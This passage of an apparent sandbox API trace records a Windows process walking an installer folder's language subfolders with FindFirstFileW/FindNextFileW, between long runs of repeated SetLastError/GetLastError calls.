SetLastError (dwErrCode=0x0) [0046.696] GetLastError () returned 0x0 [0046.697] SetLastError (dwErrCode=0x0) [0046.697] GetLastError () returned 0x0 [0046.697] SetLastError (dwErrCode=0x0) [0046.697] GetLastError () returned 0x0 [0046.697] SetLastError (dwErrCode=0x0) [0046.697] GetLastError () returned 0x0 [0046.697] SetLastError (dwErrCode=0x0) [0046.697] GetLastError () returned 0x0 [0046.697] SetLastError (dwErrCode=0x0) [0046.697] GetLastError () returned 0x0 [0046.697] SetLastError (dwErrCode=0x0) [0046.697] GetLastError () returned 0x0 [0046.697] SetLastError (dwErrCode=0x0) [0046.697] GetLastError () returned 0x0 [0046.697] SetLastError (dwErrCode=0x0) [0046.697] GetLastError () returned 0x0 [0046.697] SetLastError (dwErrCode=0x0) [0046.697] GetLastError () returned 0x0 [0046.697] SetLastError (dwErrCode=0x0) [0046.697] GetLastError () returned 0x0 [0046.697] SetLastError (dwErrCode=0x0) [0046.697] GetLastError () returned 0x0 [0046.698] SetLastError (dwErrCode=0x0) [0046.698] GetLastError () returned 0x0 [0046.698] SetLastError (dwErrCode=0x0) [0046.698] GetLastError () returned 0x0 [0046.698] SetLastError (dwErrCode=0x0) [0046.698] GetLastError () returned 0x0 [0046.698] SetLastError (dwErrCode=0x0) [0046.698] GetLastError () returned 0x0 [0046.698] SetLastError (dwErrCode=0x0) [0046.698] GetLastError () returned 0x0 [0046.698] SetLastError (dwErrCode=0x0) [0046.698] GetLastError () returned 0x0 [0046.698] SetLastError (dwErrCode=0x0) [0046.698] GetLastError () returned 0x0 [0046.698] SetLastError (dwErrCode=0x0) [0046.698] GetLastError () returned 0x0 [0046.698] SetLastError (dwErrCode=0x0) [0046.698] GetLastError () returned 0x0 [0046.698] SetLastError (dwErrCode=0x0) [0046.698] GetLastError () returned 0x0 [0046.698] SetLastError (dwErrCode=0x0) [0046.698] GetLastError () returned 0x0 [0046.698] SetLastError (dwErrCode=0x0) [0046.699] GetLastError () returned 0x0 [0046.699] SetLastError (dwErrCode=0x0) [0046.699] GetLastError () returned 0x0 [0046.699] SetLastError (dwErrCode=0x0) [0046.699] GetLastError () returned 0x0 [0046.699] SetLastError (dwErrCode=0x0) [0046.699] GetLastError () returned 0x0 [0046.699] SetLastError (dwErrCode=0x0) [0046.699] GetLastError () returned 0x0 [0046.699] SetLastError (dwErrCode=0x0) [0046.699] GetLastError () returned 0x0 [0046.699] SetLastError (dwErrCode=0x0) [0046.699] GetLastError () returned 0x0 [0046.699] SetLastError (dwErrCode=0x0) [0046.699] GetLastError () returned 0x0 [0046.699] SetLastError (dwErrCode=0x0) [0046.699] GetLastError () returned 0x0 [0046.699] SetLastError (dwErrCode=0x0) [0046.699] GetLastError () returned 0x0 [0046.699] SetLastError (dwErrCode=0x0) [0046.699] GetLastError () returned 0x0 [0046.699] SetLastError (dwErrCode=0x0) [0046.699] GetLastError () returned 0x0 [0046.700] SetLastError (dwErrCode=0x0) [0046.700] GetLastError () returned 0x0 [0046.700] SetLastError (dwErrCode=0x0) [0046.700] GetLastError () returned 0x0 [0046.700] SetLastError (dwErrCode=0x0) [0046.700] GetLastError () returned 0x0 [0046.700] SetLastError (dwErrCode=0x0) [0046.700] GetLastError () returned 0x0 [0046.700] SetLastError (dwErrCode=0x0) [0046.700] GetLastError () returned 0x0 [0046.700] SetLastError (dwErrCode=0x0) [0046.700] GetLastError () returned 0x0 [0046.700] SetLastError (dwErrCode=0x0) [0046.700] GetLastError () returned 0x0 [0046.700] SetLastError (dwErrCode=0x0) [0046.700] GetLastError () returned 0x0 [0046.700] SetLastError (dwErrCode=0x0) [0046.700] GetLastError () returned 0x0 [0046.700] SetLastError (dwErrCode=0x0) [0046.700] GetLastError () returned 0x0 [0046.700] SetLastError (dwErrCode=0x0) [0046.700] GetLastError () returned 0x0 [0046.700] SetLastError (dwErrCode=0x0) [0046.701] GetLastError () returned 0x0 [0046.701] SetLastError (dwErrCode=0x0) [0046.701] GetLastError () returned 0x0 [0046.701] SetLastError (dwErrCode=0x0) [0046.701] GetLastError () returned 0x0 [0046.701] SetLastError (dwErrCode=0x0) [0046.701] GetLastError () returned 0x0 [0046.701] SetLastError (dwErrCode=0x0) [0046.701] GetLastError () returned 0x0 [0046.701] SetLastError (dwErrCode=0x0) [0046.701] GetLastError () returned 0x0 [0046.701] SetLastError (dwErrCode=0x0) [0046.701] GetLastError () returned 0x0 [0046.701] SetLastError (dwErrCode=0x0) [0046.701] GetLastError () returned 0x0 [0046.701] SetLastError (dwErrCode=0x0) [0046.701] GetLastError () returned 0x0 [0046.701] SetLastError (dwErrCode=0x0) [0046.701] GetLastError () returned 0x0 [0046.701] SetLastError (dwErrCode=0x0) [0046.701] GetLastError () returned 0x0 [0046.702] SetLastError (dwErrCode=0x0) [0046.702] GetLastError () returned 0x0 [0046.702] SetLastError (dwErrCode=0x0) [0046.702] GetLastError () returned 0x0 [0046.702] SetLastError (dwErrCode=0x0) [0046.702] GetLastError () returned 0x0 [0046.702] SetLastError (dwErrCode=0x0) [0046.702] GetLastError () returned 0x0 [0046.702] SetLastError (dwErrCode=0x0) [0046.702] GetLastError () returned 0x0 [0046.702] SetLastError (dwErrCode=0x0) [0046.702] GetLastError () returned 0x0 [0046.702] SetLastError (dwErrCode=0x0) [0046.702] GetLastError () returned 0x0 [0046.702] SetLastError (dwErrCode=0x0) [0046.702] GetLastError () returned 0x0 [0046.702] SetLastError (dwErrCode=0x0) [0046.702] GetLastError () returned 0x0 [0046.702] SetLastError (dwErrCode=0x0) [0046.702] GetLastError () returned 0x0 [0046.702] SetLastError (dwErrCode=0x0) [0046.702] GetLastError () returned 0x0 [0046.703] SetLastError (dwErrCode=0x0) [0046.703] GetLastError () returned 0x0 [0046.703] SetLastError (dwErrCode=0x0) [0046.703] GetLastError () returned 0x0 [0046.703] SetLastError (dwErrCode=0x0) [0046.703] GetLastError () returned 0x0 [0046.703] SetLastError (dwErrCode=0x0) [0046.703] GetLastError () returned 0x0 [0046.703] SetLastError (dwErrCode=0x0) [0046.703] GetLastError () returned 0x0 [0046.703] SetLastError (dwErrCode=0x0) [0046.703] GetLastError () returned 0x0 [0046.703] SetLastError (dwErrCode=0x0) [0046.703] GetLastError () returned 0x0 [0046.703] SetLastError (dwErrCode=0x0) [0046.703] GetLastError () returned 0x0 [0046.703] SetLastError (dwErrCode=0x0) [0046.703] GetLastError () returned 0x0 [0046.703] SetLastError (dwErrCode=0x0) [0046.703] GetLastError () returned 0x0 [0046.703] SetLastError (dwErrCode=0x0) [0046.703] GetLastError () returned 0x0 [0046.704] SetLastError (dwErrCode=0x0) [0046.704] GetLastError () returned 0x0 [0046.704] SetLastError (dwErrCode=0x0) [0046.704] GetLastError () returned 0x0 [0046.704] SetLastError (dwErrCode=0x0) [0046.704] GetLastError () returned 0x0 [0046.704] SetLastError (dwErrCode=0x0) [0046.704] GetLastError () returned 0x0 [0046.704] SetLastError (dwErrCode=0x0) [0046.704] GetLastError () returned 0x0 [0046.704] SetLastError (dwErrCode=0x0) [0046.704] GetLastError () returned 0x0 [0046.704] SetLastError (dwErrCode=0x0) [0046.704] GetLastError () returned 0x0 [0046.704] SetLastError (dwErrCode=0x0) [0046.704] GetLastError () returned 0x0 [0046.704] SetLastError (dwErrCode=0x0) [0046.704] GetLastError () returned 0x0 [0046.704] SetLastError (dwErrCode=0x0) [0046.704] GetLastError () returned 0x0 [0046.704] SetLastError (dwErrCode=0x0) [0046.704] GetLastError () returned 0x0 [0046.705] SetLastError (dwErrCode=0x0) [0046.705] GetLastError () returned 0x0 [0046.705] SetLastError (dwErrCode=0x0) [0046.705] GetLastError () returned 0x0 [0046.705] SetLastError (dwErrCode=0x0) [0046.705] GetLastError () returned 0x0 [0046.705] SetLastError (dwErrCode=0x0) [0046.705] GetLastError () returned 0x0 [0046.705] SetLastError (dwErrCode=0x0) [0046.705] GetLastError () returned 0x0 [0046.705] SetLastError (dwErrCode=0x0) [0046.705] GetLastError () returned 0x0 [0046.705] SetLastError (dwErrCode=0x0) [0046.705] GetLastError () returned 0x0 [0046.705] SetLastError (dwErrCode=0x0) [0046.705] GetLastError () returned 0x0 [0046.705] SetLastError (dwErrCode=0x0) [0046.705] GetLastError () returned 0x0 [0046.705] SetLastError (dwErrCode=0x0) [0046.705] GetLastError () returned 0x0 [0046.705] SetLastError (dwErrCode=0x0) [0046.705] GetLastError () returned 0x0 [0046.706] SetLastError (dwErrCode=0x0) [0046.706] GetLastError () returned 0x0 [0046.706] SetLastError (dwErrCode=0x0) [0046.706] GetLastError () returned 0x0 [0046.706] SetLastError (dwErrCode=0x0) [0046.706] GetLastError () returned 0x0 [0046.706] SetLastError (dwErrCode=0x0) [0046.706] GetLastError () returned 0x0 [0046.706] SetLastError (dwErrCode=0x0) [0046.706] GetLastError () returned 0x0 [0046.706] SetLastError (dwErrCode=0x0) [0046.706] GetLastError () returned 0x0 [0046.706] SetLastError (dwErrCode=0x0) [0046.706] GetLastError () returned 0x0 [0046.706] SetLastError (dwErrCode=0x0) [0046.706] GetLastError () returned 0x0 [0046.706] SetLastError (dwErrCode=0x0) [0046.706] GetLastError () returned 0x0 [0046.706] SetLastError (dwErrCode=0x0) [0046.706] GetLastError () returned 0x0 [0046.706] SetLastError (dwErrCode=0x0) [0046.706] GetLastError () returned 0x0 [0046.707] SetLastError (dwErrCode=0x0) [0046.707] GetLastError () returned 0x0 [0046.707] SetLastError (dwErrCode=0x0) [0046.707] GetLastError () returned 0x0 [0046.707] SetLastError (dwErrCode=0x0) [0046.707] GetLastError () returned 0x0 [0046.707] SetLastError (dwErrCode=0x0) [0046.707] GetLastError () returned 0x0 [0046.707] SetLastError (dwErrCode=0x0) [0046.707] GetLastError () returned 0x0 [0046.707] SetLastError (dwErrCode=0x0) [0046.707] GetLastError () returned 0x0 [0046.707] SetLastError (dwErrCode=0x0) [0046.707] GetLastError () returned 0x0 [0046.707] SetLastError (dwErrCode=0x0) [0046.707] GetLastError () returned 0x0 [0046.707] SetLastError (dwErrCode=0x0) [0046.707] GetLastError () returned 0x0 [0046.707] SetLastError (dwErrCode=0x0) [0046.707] GetLastError () returned 0x0 [0046.707] SetLastError (dwErrCode=0x0) [0046.707] GetLastError () returned 0x0 [0046.707] SetLastError (dwErrCode=0x0) [0046.707] GetLastError () returned 0x0 [0046.708] SetLastError (dwErrCode=0x0) [0046.708] GetLastError () returned 0x0 [0046.708] SetLastError (dwErrCode=0x0) [0046.708] GetLastError () returned 0x0 [0046.708] SetLastError (dwErrCode=0x0) [0046.708] GetLastError () returned 0x0 [0046.708] SetLastError (dwErrCode=0x0) [0046.708] GetLastError () returned 0x0 [0046.708] SetLastError (dwErrCode=0x0) [0046.708] GetLastError () returned 0x0 [0046.708] SetLastError (dwErrCode=0x0) [0046.708] GetLastError () returned 0x0 [0046.708] SetLastError (dwErrCode=0x0) [0046.708] GetLastError () returned 0x0 [0046.708] SetLastError (dwErrCode=0x0) [0046.708] GetLastError () returned 0x0 [0046.708] SetLastError (dwErrCode=0x0) [0046.708] GetLastError () returned 0x0 [0046.708] SetLastError (dwErrCode=0x0) [0046.708] SetEvent (hEvent=0x2ec) returned 1 [0046.708] ResetEvent (hEvent=0x2f0) returned 1 [0046.708] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0046.709] GetLastError () returned 0x0 [0046.709] SetLastError (dwErrCode=0x0) [0046.709] GetLastError () returned 0x0 [0046.709] SetLastError (dwErrCode=0x0) [0046.709] GetLastError () returned 0x0 [0046.709] SetLastError (dwErrCode=0x0) [0046.709] GetLastError () returned 0x0 [0046.709] SetLastError (dwErrCode=0x0) [0046.709] GetLastError () returned 0x0 [0046.709] SetLastError (dwErrCode=0x0) [0046.709] GetLastError () returned 0x0 [0046.709] SetLastError (dwErrCode=0x0) [0046.709] GetLastError () returned 0x0 [0046.709] SetLastError (dwErrCode=0x0) [0046.709] GetLastError () returned 0x0 [0046.709] SetLastError (dwErrCode=0x0) [0046.709] GetLastError () returned 0x0 [0046.709] SetLastError (dwErrCode=0x0) [0046.709] GetLastError () returned 0x0 [0046.709] SetLastError (dwErrCode=0x0) [0046.709] GetLastError () returned 0x0 [0046.710] SetLastError (dwErrCode=0x0) [0046.710] GetLastError () returned 0x0 [0046.710] SetLastError (dwErrCode=0x0) [0046.710] GetLastError () returned 0x0 [0046.710] SetLastError (dwErrCode=0x0) [0046.710] GetLastError () returned 0x0 [0046.710] SetLastError (dwErrCode=0x0) [0046.710] GetLastError () returned 0x0 [0046.710] SetLastError (dwErrCode=0x0) [0046.710] GetLastError () returned 0x0 [0046.710] SetLastError (dwErrCode=0x0) [0046.710] GetLastError () returned 0x0 [0046.710] SetLastError (dwErrCode=0x0) [0046.710] GetLastError () returned 0x0 [0046.710] SetLastError (dwErrCode=0x0) [0046.710] GetLastError () returned 0x0 [0046.710] SetLastError (dwErrCode=0x0) [0046.710] GetLastError () returned 0x0 [0046.710] SetLastError (dwErrCode=0x0) [0046.710] GetLastError () returned 0x0 [0046.710] SetLastError (dwErrCode=0x0) [0046.710] GetLastError () returned 0x0 [0046.710] SetLastError (dwErrCode=0x0) [0046.711] GetLastError () returned 0x0 [0046.711] SetLastError (dwErrCode=0x0) [0046.711] GetLastError () returned 0x0 [0046.711] SetLastError (dwErrCode=0x0) [0046.711] GetLastError () returned 0x0 [0046.711] SetLastError (dwErrCode=0x0) [0046.711] GetLastError () returned 0x0 [0046.711] SetLastError (dwErrCode=0x0) [0046.711] GetLastError () returned 0x0 [0046.711] SetLastError (dwErrCode=0x0) [0046.711] GetLastError () returned 0x0 [0046.711] SetLastError (dwErrCode=0x0) [0046.711] GetLastError () returned 0x0 [0046.711] SetLastError (dwErrCode=0x0) [0046.711] GetLastError () returned 0x0 [0046.711] SetLastError (dwErrCode=0x0) [0046.711] GetLastError () returned 0x0 [0046.711] SetLastError (dwErrCode=0x0) [0046.711] GetLastError () returned 0x0 [0046.711] SetLastError (dwErrCode=0x0) [0046.711] GetLastError () returned 0x0 [0046.711] SetLastError (dwErrCode=0x0) [0046.711] GetLastError () returned 0x0 [0046.712] SetLastError (dwErrCode=0x0) [0046.712] GetLastError () returned 0x0 [0046.712] SetLastError (dwErrCode=0x0) [0046.712] GetLastError () returned 0x0 [0046.712] SetLastError (dwErrCode=0x0) [0046.712] GetLastError () returned 0x0 [0046.712] SetLastError (dwErrCode=0x0) [0046.712] GetLastError () returned 0x0 [0046.712] SetLastError (dwErrCode=0x0) [0046.712] GetLastError () returned 0x0 [0046.712] SetLastError (dwErrCode=0x0) [0046.712] GetLastError () returned 0x0 [0046.712] SetLastError (dwErrCode=0x0) [0046.712] GetLastError () returned 0x0 [0046.712] SetLastError (dwErrCode=0x0) [0046.712] GetLastError () returned 0x0 [0046.712] SetLastError (dwErrCode=0x0) [0046.712] GetLastError () returned 0x0 [0046.712] SetLastError (dwErrCode=0x0) [0046.712] GetLastError () returned 0x0 [0046.712] SetLastError (dwErrCode=0x0) [0046.712] GetLastError () returned 0x0 [0046.712] SetLastError (dwErrCode=0x0) [0046.713] GetLastError () returned 0x0 [0046.713] SetLastError (dwErrCode=0x0) [0046.713] GetLastError () returned 0x0 [0046.713] SetLastError (dwErrCode=0x0) [0046.713] GetLastError () returned 0x0 [0046.713] SetLastError (dwErrCode=0x0) [0046.713] GetLastError () returned 0x0 [0046.713] SetLastError (dwErrCode=0x0) [0046.713] GetLastError () returned 0x0 [0046.713] SetLastError (dwErrCode=0x0) [0046.713] GetLastError () returned 0x0 [0046.713] SetLastError (dwErrCode=0x0) [0046.713] GetLastError () returned 0x0 [0046.713] SetLastError (dwErrCode=0x0) [0046.713] GetLastError () returned 0x0 [0046.713] SetLastError (dwErrCode=0x0) [0046.713] GetLastError () returned 0x0 [0046.713] SetLastError (dwErrCode=0x0) [0046.713] GetLastError () returned 0x0 [0046.713] SetLastError (dwErrCode=0x0) [0046.713] GetLastError () returned 0x0 [0046.713] SetLastError (dwErrCode=0x0) [0046.713] GetLastError () returned 0x0 [0046.714] SetLastError (dwErrCode=0x0) [0046.714] GetLastError () returned 0x0 [0046.714] SetLastError (dwErrCode=0x0) [0046.714] GetLastError () returned 0x0 [0046.714] SetLastError (dwErrCode=0x0) [0046.714] GetLastError () returned 0x0 [0046.714] SetLastError (dwErrCode=0x0) [0046.714] GetLastError () returned 0x0 [0046.714] SetLastError (dwErrCode=0x0) [0046.714] GetLastError () returned 0x0 [0046.714] SetLastError (dwErrCode=0x0) [0046.714] GetLastError () returned 0x0 [0046.714] SetLastError (dwErrCode=0x0) [0046.714] GetLastError () returned 0x0 [0046.714] SetLastError (dwErrCode=0x0) [0046.714] GetLastError () returned 0x0 [0046.714] SetLastError (dwErrCode=0x0) [0046.896] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0046.897] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1025", cAlternateFileName="")) returned 1 [0046.897] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10ccf0 [0046.897] FindNextFileW (in: hFindFile=0x10ccf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.897] FindNextFileW (in: hFindFile=0x10ccf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0046.897] SetEvent (hEvent=0x2ec) returned 1 [0046.897] ResetEvent (hEvent=0x2f0) returned 1 [0046.915] FindNextFileW (in: hFindFile=0x10ccf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0046.915] SetEvent (hEvent=0x2ec) returned 1 [0046.915] ResetEvent (hEvent=0x2f0) returned 1 [0046.915] FindNextFileW (in: hFindFile=0x10ccf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0046.916] FindNextFileW (in: hFindFile=0x10ccf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0046.916] FindClose (in: hFindFile=0x10ccf0 | out: hFindFile=0x10ccf0) returned 1 [0046.957] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0046.957] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1028", cAlternateFileName="")) returned 1 [0046.957] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10cfb0 [0046.958] FindNextFileW (in: hFindFile=0x10cfb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.958] FindNextFileW (in: hFindFile=0x10cfb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0046.958] SetEvent (hEvent=0x2ec) returned 1 [0046.958] ResetEvent (hEvent=0x2f0) returned 1 [0046.965] FindNextFileW (in: hFindFile=0x10cfb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0046.965] SetEvent (hEvent=0x2ec) returned 1 [0046.966] ResetEvent (hEvent=0x2f0) returned 1 [0046.968] FindNextFileW (in: hFindFile=0x10cfb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0046.984] FindNextFileW (in: hFindFile=0x10cfb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0046.984] FindClose (in: hFindFile=0x10cfb0 | out: hFindFile=0x10cfb0) returned 1 [0046.984] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0046.984] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1029", cAlternateFileName="")) returned 1 [0046.984] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10cdb0 [0046.984] FindNextFileW (in: hFindFile=0x10cdb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.984] FindNextFileW (in: hFindFile=0x10cdb0, lpFindFileData=0x295f014 | out: 